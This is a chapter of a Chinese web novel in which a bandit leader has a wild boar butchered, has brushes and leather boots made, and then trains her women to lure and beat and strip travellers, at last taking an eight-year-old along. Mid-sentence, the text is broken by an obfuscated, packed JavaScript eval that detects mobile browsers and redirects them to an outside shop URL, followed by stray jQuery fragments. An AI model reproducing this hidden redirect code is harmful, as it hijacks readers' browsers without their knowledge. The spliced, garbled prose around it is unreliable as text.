元生递给刘二妮和李小丫,一人一把斧头,吩咐她们把野猪的头砍下来。李小丫拿起斧头,迟疑地看着野猪。刘二妮拿起斧头,用尽力气向野猪的头砍去,啪地一声,野猪的皮,上面有很多泥,又厚又滑。刘二妮一下子砍歪了。男人们嘴里不由得指指点点,“女人根本就没劲儿。”

    “女人就是不行···”

    元生不为所动。李小丫看了看元生,也使劲向猪头砍去。她们两个砍了好大一会儿才把猪头砍下来,砍得血肉飞溅。牛小花在一旁看得直跺脚,嘴里嘟囔道:“哎哟,那可是肉,那可是肉,好好的肉,哎呀,都砍坏掉了。”

    刘二妮和李小丫把猪头砍下来。元生又让孙玉真她们4个女人,一人砍下一条腿来。

    牛小花走到元生跟前,焦急地道:“哎,寨主,我来砍吧,我来砍吧,我肯定弄得干干净净的。”

    元生没有理她,等到四条腿都砍完了,元生转向人群问道:“有谁会扒皮?”

    有个男人连忙站出来,“我会、我会。”元生点头,“你把皮都给我剥下来。”然后对牛小花道:“这头猪,我就交给你和王杏儿了,你们两个把这头猪今天晚上弄出来,给大家吃一顿好的。”

    牛小花大喜,与众人一起去忙活了。

    过了一会儿,那张皮很快被剥了下来。元生让刘二妮和李小丫拿些草木灰泡的水,让她们用水把猪皮全部刷洗干净,让她们把皮上的碎肉全部用刀一点点地给刮干净,然后泡在那个水里半天。泡好后让她们拿出来,又让她们用刀把猪毛一点点地刮下来。元生让她们找一个瓦罐,把猪毛放进瓦罐里,然后利用草木灰给搓洗了几遍。把猪毛放到一个干净的碗里。

    元生让石头把老孙头叫来,她指着几根长短粗细合适的猪毛。问老孙头:“你知道刷子吧?就是刷马之类的。”

    老孙点点头。“那么,我要你做一个小刷子,有多小呢?元生用手比画一下,一扎长,然后它的上头带毛的部分,她伸出大拇指,不能比这大,只能比这小。用这些猪毛来做,这些你拿去。”

    老孙头有些踌躇地道:“寨主,我以前没做过这个。”

    元生道:“你把这些毛都拿去试试看,如果试出来,那么就有奖励,试不出来也不会受罚。”

    老孙头这才放下心来,端起猪毛走了。过了几天,老孙头拿了几把刷子过来,忐忑不安地看着元生,元生拿起几把刷子端详了一番,指着最小的一把说道:“要比这把还要小些,还有,放毛的孔要尽可能密实、细小一些。”

    老孙头有些惭愧地低下头。元生温声安慰道:“你尽可能地做,做不好就多试几次。”于是老孙头又继续回去捣鼓牙刷了。

    等猪皮简单地揉制好了之后,元生让孙玉真过来,问她:“你会做袜子吗?”

    孙玉真点头,古代人的袜子就是一个底下是脚形的长筒子,然后上面系着带子。

    元生指着那块皮子道:“你把这块皮子拿过去,做成袜子的形状,上面的半截不用缝死。”她指了指,脚上面与前面不要封死,可以多缝几根带子。

    孙玉真拿着皮子,踌躇了一下,带着皮子回去了。

    第二天,孙玉真期期艾艾地找到了元生,小声地说:“那个皮子我扎不动。”说完,不好意思地低下头去。

    元生道:“哦,我忘记了。”她带着孙玉真找到了老孙头,然后找了几个钉子,然后又让老孙头找了几块光滑的木条,她用木条夹住皮子,中间留有一条缝隙,她指着缝隙道:“你用钉子在皮子上砸了一下,不就有眼了吗?然后用线把它缝起来。”

    她又对老孙头道:“你给她做一个这样的夹子,下面有洞,让钉子可以正好地穿过去,它只要夹住皮子,就能够轻松地砸出一排洞来。”

    老孙头看了看,想了想道:“这个能做。”

    于是孙玉真过了几天做出一双类似皮袜子的东西来。她忐忑不安地拿着那个东西去找元生。

    元生看了看,点了点头,孙玉真不由道:“这个,我的手艺也太差了,我会好好练习的。”

    元生道:“没有关系。第一次嘛,以后会越来越好的。她指着那个皮袜子道:你找一双合适的鞋底,用鱼胶把鞋底粘在袜底,就成一双皮靴子了。”

    孙玉真一听,才恍然大悟,原来这是一双皮靴子。

    元生又指点着:“你可以在这几个地方钉上皮条,把它留长一些。”

    于是元生就有了一双皮靴。元生穿上皮靴,虽然不美观、精致,但也算是一种粗犷的风格。元生穿上试了试,点了点头。山寨里的人都用一种惊奇、羡慕的目光盯着元生的靴子。

    这一天元生叫了老孙头和猴子一起去下山遛了一圈,走了几条路。又问了猴子和老孙头几个问题,然后回到了山寨。

    第二天,她把刘二妮和李小丫叫过来打量了一下,然后指着李小丫道:“你有没有比较花哨的衣服?”

    李小丫有些迷茫地摇了摇头。元生问女人们:“你们有没有比较花哨?就是像新媳妇穿的那种衣服?”

    王杏儿:“哎,我有一条花头巾。”

    牛小花张了张嘴,看了看元生,犹豫了好大一会儿才道:“我有一件红色的小袄,是我成亲时候的衣服。”

    元生让她们两个都拿来,让李小丫戴上花头巾,又穿上那件红袄,有点太胖了。元生让人改一改。牛小花满脸心疼地看着那个小袄,元生道:“给你一身衣料,又给王杏儿一件尺头。”

    牛小花这才高兴起来。等改好衣服,穿上看了看,又让李小丫走了几步。她指点着李小丫道:“你走慢点,步子走小一点,然后头稍微低一点。”

    众人都莫名其妙看着李小丫在那里走来走去。王杏儿不由得笑道:“简直像个新媳妇。”

    元生点头:“对,就要这样。”

    元生就叫上牛小花、李小丫、刘二妮、石头4个人。元生让她们四个都拿着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593605|205521||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    木枪,然后递给李小丫一把匕首,指点她绑在裤腿上。李小丫莫名其妙地按照元生的吩咐做了。元生带着她们四个往山下走,一直来到一条道路上,在道路旁边有一片树林。元生带着她们几个来到树林,她对李小丫道:“你就在这条道路上走,见到谁也不要说话,谁跟你说话,你也不要搭腔,你就这样低着头走。”

    李小丫更是觉得莫名其妙。众人也有些茫然地看着元生。刘二妮低着头思考起来。

    元生也不解释道:“你就这样走,记住,谁跟你说话你都不要搭腔。如果走到树林边,她指了指树林那头,就返回来。如果有人来你就走,没有人来你可以休息一下。”

    于是李小丫就在那里慢慢地走了起来。

    不一会来了一个柴夫,他看见李小丫眼睛一亮。跟着李小丫不停地转悠:“你是谁呀?你到哪里去?”不停地追问,李小丫按照元生的吩咐,不搭腔,只低头走路。

    柴夫来回看了看,发现没有其他人,把柴火一扔,上去就要抱着李小丫,李小丫被他抱了起来,惊惶失措。这柴夫扛起李小丫,想要掉头往回跑。

    这时元生对她们三个说道:“打。”她们三个才明白过来,拿着木枪就冲了出去,石头更是从地上捡起一块石头,扔了过去。柴夫被石头砸到,哎哟一声,身子趔趄了一下,手不由得松开了,李小丫这时也反应过来,从腿上拔出匕首,向柴夫扎去。柴夫的胳膊上被扎了一道口子,她们三个赶忙,和李小丫一起把柴夫痛打了一顿。

    元生也不动手,看她们打。等她们打差不多了,才吩咐道:“把他扒了。”她们4个都吓了一跳,诧异地看着元生,元生又冷冷地说了一遍:“把他的衣服都扒了!”

    她们四个这才去扒柴夫的衣服,一直扒到只剩下一条裤子。她们才有些犹豫起来,又回头望了望元生,元生点头:“可以了,让他滚。”

    柴夫连滚带爬地抱头鼠窜而去,元生让四个人整理一番,尤其是李小丫。然后让李小丫继续在道路上走。

    路上来了四五拨人,其中只有两拨,也就是有一拨带着孩子的,还有一拨是小两口,没有对李小丫动手,其他的都对李小丫动了手,甚至还有个老两口,驾个车也对李小丫动了手,嘴里还说道:“正好不花钱给儿子娶个媳妇之类。”

    元生让她们都打一顿,把衣服扒掉。老婆子也被打了一顿,外衣也被扒了,把她的鞋子也给脱掉,车子也给留下。到了傍晚,元生带着她们和战利品回去了。

    第二天,元生又让刘二妮装扮起来,带着刘二妮、王杏儿、孙玉珍和石头4个去,像昨天一样行动。就这样把所有的人都轮换一遍,确保每个人都敢动手,最后一次甚至把刘根也带出去。王杏儿有些惶恐地看着元生,向元生求情,

    桃子在脑海中也道:“他才8岁。”

    元生道:“贝贝8岁的时候,就已经开始摸尸了。”

    元生不理会王杏儿,把刘根也带了出去。